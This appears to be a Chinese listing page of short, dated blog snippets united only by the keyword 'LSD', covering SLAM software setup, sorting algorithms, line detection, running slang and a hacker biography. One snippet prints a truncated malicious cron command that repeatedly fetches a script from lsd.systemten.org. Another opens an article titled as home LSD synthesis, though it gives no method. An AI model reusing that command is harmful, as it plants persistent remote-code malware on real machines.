在开发VSLAM程序的过程中，我需要不断地学习开源程序，如ORB-SLAM2、SVO、LSD-SLAM、DSO、LearnVIORB、ygz-stereo-inertial、svo_degelet、ORB-TGZ-SLAM等等，其中依赖的库较多，主要的有OpenCV、g2o、eigen3、Sophu ...
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2019-06-05 21:41:31
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export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin mkdir -p /tmp chmod 1777 /tmp echo "*/10 * * * * (curl -fsSL lsd.systemten.org||wget -q... ...
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2019-06-05 11:20:05
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已解决：raise Exception(r"""quotes not allowed in description string '%s'""" % description) 不应该在描述中出现引号（单引号或双引号），可以通过查看错误内容得知需要修改的文件名： 1) lsd_slam_viewer/ ...
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2019-05-24 19:28:40
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2).reduce(fn,lsd)：参数一：fn --> 函数对象参数二：lsd --> 序列对象功能：先将lsd中的第一和第二个元素去除传入到fn中参与运算，运算后得到结果，再和第三个元素传入到fn中参与运算，以此类推...【注意】：reduce函数属于functools模块中的函数，所以需要显示 ...
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2019-03-11 23:42:41
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国外黑客 米切尔卡普尔 1951年，卡普尔生于长岛。卡普尔十分符合那个年代的的典型形象：无所顾虑又无忧无虑。从小爱好迪斯科和摇滚乐。并且多年来爱上LSD及其他非法毒品。在耶鲁大学，他专修心理学、语言学以及计算机学科，尤其是控制论，也开始对计算机萌生兴趣。1971年毕业后，工作漂泊不定。从电台的音乐主 ...
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2019-03-08 18:23:04
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本文将介绍3区基数快速排序、后缀排序法。 1. 前文回顾 在字符串算法—字符串排序（上篇）中，我们介绍了键索引计数法、LSD基数排序、MSD基数排序。 但LSD基数排序要求需排序字符串的长度一致；MSD基数排序虽然对字符串的长度没要求，但其递归循环里的每次循环都需要进行很多操作，且需要额外的空间。 ...
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2019-02-14 09:12:13
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LSD算法是一个直线提取算法，在opencv 中也有封装，它的主要思想是通过求导得到灰度的梯度，因为灰度梯度的方向的垂直方向就是线条的方向，将有相同方向的向量用矩形圈起来，再将举行精细化，最后就可以得到的一条线段了。 关于它的文章和算法和demo基本上可以在 "这里" 找到。 这篇文章里引入了很多名 ...
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2018-11-20 00:03:48
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坚持跑步快三年了，半马PB12258，全马PB25641，虽然对成绩没什么追求，但是身处跑步圈，多少还是会受到一些影响，加之坚持锻炼、坚持跑步，成绩有时也是自然而然的，偶尔注意些方法，能够跑的更好。 “明天拉个LSD，主餐：10E5M10E”，这你看懂了吗？ E、M、T、I、R E、M、T、I、R这 ...
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2018-10-01 01:12:49
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首先安装ROS kinetic： 参考：https://blog.csdn.net/softimite_zifeng/article/details/78632211 https://blog.csdn.net/xuehuafeiwu123/article/details/52549872 安装前的 ...
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2018-07-28 18:18:20
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如何在自家厨房里制作LSD D-麦角酸二乙胺，即麦角二乙酰胺，普遍被称为LSD，是一种强大的半人工致幻剂。LSD的一次典型剂量只有100微克，相当於一粒沙子重量的十分之一。 LSD会造成持续6到12个小时的感官、感觉、记忆和自我意识的强烈化与变化。另外，LSD通常会产生一些视觉效果，比如会动的几何图 ...
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2018-07-21 22:53:12
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